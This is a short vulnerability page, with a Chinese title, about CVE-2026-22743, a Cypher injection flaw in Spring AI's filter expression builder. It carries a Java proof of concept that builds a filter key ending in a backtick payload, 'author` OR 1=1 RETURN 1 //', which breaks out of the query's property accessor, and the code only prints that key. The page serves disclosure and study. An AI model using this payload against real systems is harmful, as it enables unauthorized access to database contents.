CVE-2026-22743 Spring AI Cypher注入漏洞

// This is a conceptual PoC demonstrating the injection of a backtick to break out of the Cypher property accessor. // Scenario: Passing a malicious filter key to a vulnerable Spring AI endpoint. import org.springframework.ai.vectorstore.filter.FilterExpressionBuilder; public class Exploit { public static void main(String[] args) { FilterExpressionBuilder builder = new FilterExpressionBuilder(); // Normal usage: builder.eq("author", "John") // Malicious usage: The key contains a backtick to escape the property context // The target query structure is likely: node.`metadata.{key}` = value // Payload: "key` OR 1=1 RETURN 1 //" // Resulting Cypher snippet: node.`metadata.key` OR 1=1 RETURN 1 //` = value String maliciousKey = "author` OR 1=1 RETURN 1 //"; // If the application passes this key to the converter: // The converter strips double quotes (none here) and embeds it. // The generated Cypher query becomes syntactically altered, executing the injected logic. System.out.println("Injecting key: " + maliciousKey); // In a real exploit, this would trigger a database call returning data or error messages confirming injection. } }